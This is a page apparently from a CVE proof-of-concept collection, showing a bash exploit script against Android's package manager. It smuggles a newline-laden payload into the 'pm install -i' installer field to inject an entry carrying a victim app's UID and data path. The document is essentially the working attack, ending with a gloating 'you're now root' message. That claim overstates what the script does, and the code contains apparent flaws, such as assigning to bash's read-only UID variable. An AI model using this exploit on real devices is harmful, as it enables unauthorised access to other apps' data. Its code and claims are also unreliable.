4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.sh SH
#!/bin/bash

# Function to get the package UID
get_package_uid() {
    package_name=$1
    pm list packages -U | grep "package:$package_name" | sed -n "s/^package:$package_name uid://p"
}

# Function to inject the payload
inject_payload() {
    target_package=$1
    payload=$2
    # Use pm install to inject the payload
    pm install -i "$payload" any-app.apk
}

# Example package to exploit
victim_package="com.example.victim"

# Get the UID of the victim package
UID=$(get_package_uid $victim_package)

# Check if UID retrieval was successful
if [ -z "$UID" ]; then
    echo "Failed to retrieve UID for package $victim_package"
    exit 1
fi

# Construct the payload
PAYLOAD="@null
victim $UID 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"

# Inject the payload
inject_payload $victim_package "$PAYLOAD"

echo "Payload injected successfully. YOu're notw root.. My my my you are 1337 aren't you"